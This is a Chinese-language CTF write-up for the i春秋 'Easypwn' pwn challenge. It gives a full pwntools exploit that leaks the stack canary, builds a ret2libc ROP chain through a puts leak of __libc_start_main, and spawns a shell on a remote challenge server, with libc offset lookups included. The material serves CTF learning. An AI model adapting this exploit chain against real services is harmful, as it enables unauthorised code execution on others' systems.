Ichunqiu_Easypwn

轮回池前彼岸花 三生石旁那道疤
擦不去的眼中莎 泪眼迷离失去她


方法

这道题是i春秋CTF的一道题,也是“百度杯”CTF比赛 十二月场中的一道pwn,这道题比较简单
我们先看看这道题的保护机制:

1
2
3
4
5
6
7
sir@sir-PC:~/desktop$ checksec easypwn
[*] '/home/sir/desktop/easypwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

开启了Stack,所以肯定需要我们泄露出Stack;
运行程序看看:

1
2
3
4
5
6
7
8
9
10
11
sir@sir-PC:~/desktop$ ./easypwn 
Hello!I am the smartest robot in the universe!
Who are you?
aaaa
Your name aaaa
sounds so stupid!
But you don't looks like a fool,isn't it?
so why don't tell me your real name?
bbbb
Oh!This one is better,nice to meet you!
Goodbye!See you again!

有两个输入点,通过ida查看发现,我们可以第一次输入泄露出stack,然后在第二次输入泄露出某函数的地址找到libc,然后就是计算出system函数和”/bin/sh”字符串的位置,然后再让其跳转会main函数,执行system(“/bin/sh”),获得shell


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import LibcSearcher
#p = process('./easypwn')
p = remote('106.75.2.53', 10002)
elf = ELF('./easypwn')
context.log_level = 'debug'
p.recvuntil('Who are you?\n')
p.sendline('a'*72)
p.recvuntil('a'*72)
canary = u64(p.recv(8))-0xa
print "cannary: " + hex(canary)
p.recvuntil('tell me your real name?\n')
pop_rdi_addr = 0x4007f3
payload = 'A'*(0x50-0x8)
payload += p64(canary)
payload += 'A'*0x8
payload += p64(pop_rdi_addr)
payload += p64(elf.got['__libc_start_main'])
payload += p64(elf.plt['puts'])
payload += p64(0x4006C6)
p.send(payload)
p.recvuntil('See you again!\n')
__libc_start_main_addr = u64(p.recvuntil('\n',drop=True).ljust(0x8,'\x00'))
log.info('__libc_start_main_addr:'+hex(__libc_start_main_addr))
system_addr = __libc_start_main_addr + 0x24c50 //0x24c50是通过网站找到的
binsh_addr = __libc_start_main_addr + 0x16c617 //0x16c617是通过网站找到的
print "system_addr: " + hex(system_addr)
print "binsh_addr: " + hex(binsh_addr)
print "got_shell:"
p.recvuntil('Who are you?\n')
p.sendline('a'*5)
p.recvuntil('tell me your real name?\n')
payload = 'A'*(0x50-0x8)
payload += p64(canary)
payload += 'A'*0x8
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += 'a'*8
p.send(payload)
p.interactive()

当我们泄露出__libc_start_main函数的地址后,通过网站https://libc.blukat.me去查询libc的版本,然后就可以找到system函数和"/bin/sh"字符串的地址了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
libc database search


Query show all libs / start over

__libc_start_main 740

+ Find

Matches
libc6_2.23-0ubuntu10_amd64
libc6_2.23-0ubuntu3_amd64


libc6_2.23-0ubuntu10_amd64 Download
Symbol Offset Difference
__libc_start_main 0x020740 0x0
system 0x045390 0x24c50
open 0x0f7030 0xd68f0
read 0x0f7250 0xd6b10
write 0x0f72b0 0xd6b70
str_bin_sh 0x18cd57 0x16c617

All symbols


小结

如果是本地的话也可以使用LibcSearcher来查找libc版本,不过感觉速度慢而且不太准确,但是还是可以参考;而且在泄露函数地址是建议泄露__libc_start_main函数

文章目录
  1. 1. 方法
  2. 2. EXP
  3. 3. 小结
,